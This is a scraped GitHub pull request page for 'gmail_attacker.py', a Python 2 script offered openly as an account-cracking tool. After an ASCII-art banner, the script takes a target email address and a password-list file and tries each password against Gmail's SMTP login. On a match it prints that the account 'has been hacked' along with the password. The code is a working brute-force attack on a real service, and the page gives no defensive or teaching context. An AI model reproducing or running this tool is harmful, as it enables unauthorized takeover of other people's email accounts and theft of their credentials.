Update gmail_attacker.py#13
Draft
Alpha890 wants to merge 1 commit into
Draft
Conversation
Mehdinavaser
approved these changes
Oct 7, 2021
| '''coded by alpha890''' | ||
|
|
||
| import smtplib | ||
| from os import system |
snkral
approved these changes
Jul 17, 2025
snkral
approved these changes
Aug 17, 2025
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
#!/usr/bin/python
'''coded by alpha890'''
import smtplib
from os import system
def main():
print '================================================='
print ' coded by alpha890 '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' ,. '
print ' '
print ' '
print ' '
print ' ,. '
print ' ,
-.) ' print ' ( _/-\\-._ ' print ' /,|--.,-^| , 'print ' _| |
-._/|| , | ' print ' |-, / | / / 'print ' | || | / / '
print '
r-._||/ __ / / ' print ' __,-<_ )-/./ / ' print ' \--- \ / / / 'print ' | |./ / '
print ' / // / '
print ' _/ \ |/ / '
print ' | | ,^- / / '
print ' | , `` (/ / '
print ' ,.->. \X-=/^ '
print ' ( /
-._//^'print ' `Y-.____(} '
print ' | {) '
print ' () '
main()
print '[1] start the brute force attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('enter the path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('enter the target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] this account has been hacked, password :' + password + ' ^^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^^'
login()